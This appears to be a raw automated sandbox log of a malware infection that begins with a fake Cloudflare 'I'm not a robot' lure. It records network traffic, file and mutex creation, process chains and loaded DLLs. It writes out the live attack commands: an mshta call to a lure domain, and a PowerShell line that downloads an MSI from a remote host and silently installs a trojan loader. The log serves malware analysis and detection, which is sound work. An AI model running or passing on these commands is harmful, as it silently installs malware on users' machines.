Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.27.152:443 -> 192.168.2.16:49746 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49750 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49752 version: TLS 1.2
Source: unknown HTTPS traffic detected: 151.101.66.133:443 -> 192.168.2.16:49756 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.251.40.100:443 -> 192.168.2.16:49770 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49791 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49792 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49794 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49793 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49790 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.16:49795 version: TLS 1.2
Source: unknown HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49800 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.16:49802 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.69.191:443 -> 192.168.2.16:49804 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.3.74:443 -> 192.168.2.16:49805 version: TLS 1.2

System Summary
barindex
Drops large PE files
Source: C:\Windows\System32\msiexec.exe File dump: launchultra.exe.16.dr 507847807 Jump to dropped file
Creates files inside the system directory
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File created: C:\Windows\SystemTemp\scoped_dir3464_772797419
Source: C:\Windows\System32\svchost.exe File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\46fe41.msi
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI239.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI4AB.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI529.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI5E5.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\inprogressinstallinfo.ipi
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\SourceHash{E3205E05-7972-45C4-8321-B26BB5BCDBB2}
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\MSI73E.tmp
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\46fe44.msi
Source: C:\Windows\System32\msiexec.exe File created: C:\Windows\Installer\46fe44.msi
Deletes files inside the Windows folder
Source: C:\Program Files\Google\Chrome\Application\chrome.exe File deleted: C:\Windows\SystemTemp\scoped_dir3464_772797419
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE
Source: classification engine Classification label: mal96.troj.evad.win@45/79@26/162
Source: C:\Windows\System32\mshta.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\133FU25G
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: NULL
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Mutant created: \Sessions\1\BaseNamedObjects\Avira.Security.Systray@abff403a-9b56-48e6-8753-10fb19692501
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: \Sessions\1\BaseNamedObjects\BISKVFCOWY
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5972:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1108:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: \Sessions\1\BaseNamedObjects\82c1709aac9f4369ad38604500b6d8d2
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Mutant created: \Sessions\1\BaseNamedObjects\Zuferssx
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5qu4csl.uqa.ps1
Source: C:\Windows\System32\mshta.exe File read: C:\Users\user\Desktop\desktop.ini
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15483393737307411882,1486926571274869887,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
Source: unknown Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.ravinn.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1952,i,15483393737307411882,1486926571274869887,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: unknown Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://servverifcloud.com/ # I ?m not a robot: ?l?udflare V?rific?tion ID: 0?0-G??
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://mfktiaoaolfkfjzjk.com/plu -OutFile C:\Users\Public\7bc.msi; msiexec /i C:\Users\Public\7bc.msi /qn"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\Public\7bc.msi /qn
Source: unknown Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iwr https://mfktiaoaolfkfjzjk.com/plu -OutFile C:\Users\Public\7bc.msi; msiexec /i C:\Users\Public\7bc.msi /qn"
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 63A969D953F602555E73B60A8031F6CC
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\Public\7bc.msi /qn
Source: C:\Windows\System32\msiexec.exe Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 63A969D953F602555E73B60A8031F6CC
Source: C:\Windows\System32\msiexec.exe Process created: C:\Users\user\AppData\Local\Inkberry\launchultra.exe "C:\Users\user\AppData\Local\Inkberry\launchultra.exe"
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe C:\Users\user\AppData\Local\Temp\73763\CasPol.exe
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Windows\SysWOW64\gpupdate.exe C:\Windows\SysWOW64\gpupdate.exe
Source: C:\Windows\SysWOW64\gpupdate.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe "C:\Users\user\AppData\Local\Temp\73763\CasPol.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Windows\System32\msiexec.exe Process created: C:\Users\user\AppData\Local\Inkberry\launchultra.exe "C:\Users\user\AppData\Local\Inkberry\launchultra.exe"
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe C:\Users\user\AppData\Local\Temp\73763\CasPol.exe
Source: C:\Users\user\AppData\Local\Inkberry\launchultra.exe Process created: C:\Windows\SysWOW64\gpupdate.exe C:\Windows\SysWOW64\gpupdate.exe
Source: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe Process created: C:\Users\user\AppData\Local\Temp\73763\CasPol.exe "C:\Users\user\AppData\Local\Temp\73763\CasPol.exe"
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wininet.dll
Source: C:\Windows\System32\mshta.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\mshta.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ieframe.dll
Source: C:\Windows\System32\mshta.exe Section loaded: netapi32.dll
Source: C:\Windows\System32\mshta.exe Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe Section loaded: userenv.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\mshta.exe Section loaded: schannel.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\mshta.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\mshta.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe Section loaded: edputil.dll
Source: C:\Windows\System32\mshta.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\mshta.exe Section loaded: appresolver.dll
Source: C:\Windows\System32\mshta.exe Section loaded: bcp47langs.dll
Source: C:\Windows\System32\mshta.exe Section loaded: slc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: sppc.dll
Source: C:\Windows\System32\mshta.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\mshta.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\mshta.exe Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe Section loaded: dwrite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: srpapi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: uxtheme.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: tsappcmp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: userenv.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: profapi.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: sspicli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wkscli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: wldp.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: mscoree.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: version.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: rstrtmgr.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ncrypt.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ntasn1.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: windows.storage.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: pcacli.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: ntmarta.dll
Source: C:\Windows\System32\msiexec.exe Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: logoncli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\msiexec.exe Section loaded: netapi32.dll
